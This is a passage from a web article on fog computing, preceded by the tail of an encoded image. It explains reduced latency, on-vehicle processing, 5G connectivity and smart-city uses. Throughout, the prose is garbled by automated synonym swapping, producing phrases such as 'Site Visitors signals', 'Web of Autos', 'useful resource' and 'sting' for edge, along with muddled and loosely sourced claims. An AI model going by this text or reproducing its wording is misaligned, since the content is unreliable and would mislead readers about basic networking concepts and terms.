uJixxadoSxqXTRKEIu3wdEJxtGOEXHdF4ouicFVonGKhaMaTe4lFSom4+40ukUYuIuh7IcfupFRQlF7j5/tON1OLM6csdojFylSI4ljmm2doT2Z2dOmyDtzF+X/9Gf0ow+gx8MafUziG5P0GJbj/ACGX2H6D9BD1H6ia3IcD5/tWPO4qpbo7/Gt0ieSUpWLOmqkh50lUUY8qiqYpff1GTIpqkQyKMaZidxbO8he6J5HLZEcqqpCyJPZDncrQ5xa3R1rpo6100RdOy7ew3XKE7Hz/AG+K6nSPp5/J3EjuJEIyiqHhkx42lfkJ0KY5N/3DH61ri7LPLG+EZcUsUqemT0P+9Y/WtMUHkmkTnDDCNmdrNj40yeh/3rH61p2OPSut+5mvtGbpXCMeJxj0t2doxd3k/ZmT0P8AvWP1oirkkKEemKQ+zxi7jORDLPHmScrR2rH14rXKMnof96x+taLJNcSkd5N/qkW2d5P/AHSMnof96g+mSZ38fg79fB36+Dvl8HfL4JZU41/5g//Z"/></p>
<p>The cloud permits users to entry solutions for computing, connectivity, and storage cost-effectively and easily, however it&#8217;s a centralized useful resource. This can mean performance issues and delays for knowledge and devices that are located removed from the centralized cloud. On the other hand, a mobile useful resource, corresponding to an autonomous automobile or a wind turbine in the course of a field, will necessitate one other type of connection. The 5G is a compelling wireless expertise that gives gigabit connectivity, essential for information analysis in near-real-time. In Accordance to the OpenFog Consortium of Cisco, fundamental variations exist between these two strategies.</p>
<p>Site Visitors signals automatically flip purple or keep green for an extended time primarily based on the information processed from these sensors. Every vehicle has the potential to generate fairly a bit of knowledge simply on speed and course, as well as transmitting to different vehicles when it&#8217;s braking, and how exhausting. As the data is coming from transferring automobiles, it must be transmitted wirelessly on the 5.9 GHz frequency in the USA; if not accomplished correctly the quantity of information might simply overload the finite cell bandwidth. A key component of sharing the restricted cellular bandwidth is the processing of information at the stage of the vehicle by way of a fog computing method by way of an on-board automobile processing unit. Fog computing is right for this as in some cases the data is created in a remote location, and it is better to process it there.</p>
<ul>
<li>This allows connected manufacturing units with sensors and cameras to gather and process information regionally, somewhat than ship all of this data to the cloud.</li>
<li>Proponents of fog computing over edge computing say it is extra scalable and offers a better big-picture view of the community as a quantity of data factors feed data into it.</li>
<li>Moreover, native processing allows for better compliance with information protection rules, as data could be anonymized, encrypted, or otherwise secured before it&#8217;s despatched to the cloud.</li>
<li>This decentralized strategy also supports a wide range of purposes and providers, making it adaptable to completely different environments and industries.</li>
</ul>
<p>One of the primary advantages of fog computing is its capability to significantly reduce latency. By processing information closer to where it&#8217;s generated, fog nodes can perform real-time evaluation and decision-making. This is a key software in areas similar to autonomous vehicles, industrial automation, and healthcare monitoring, the place quick responses are required. Reducing the time it takes for information to travel to a distant cloud server and again allows for sooner and more environment friendly operations.</p>
<p>Fog computing encapsulates not simply that edge processing, but also the network connections wanted to bring that data from the sting to its finish point. Fog computing is commonly used in cases the place real-time response is needed, such as with industrial control systems, video surveillance, or autonomous automobiles. It can be used to offload computationally intensive tasks from centralized servers or to offer backup and redundancy in case of community failure.</p>
<p>The rapid growth of wi-fi expertise has given mobile system customers super computing energy. Fog computing is a decentralized infrastructure that places storage and processing elements at the edge of the cloud. A draw back of cloud computing is that every one this computing over the community depends heavily on information transport. The system will then pass information that can wait longer to be analyzed to an aggregation node.</p>
<p>The &#8220;Web of Autos&#8221; guarantees safer transportation through improved collision avoidance with site visitors that moves more easily. Every vehicle and visitors enforcement system is an IoT system that produces a stream of knowledge and connects to different autos as well as site visitors indicators and the streets themselves. Good cities and smart grids Like connected cars, utility methods are increasingly using real-time knowledge to extra effectively run systems.</p>
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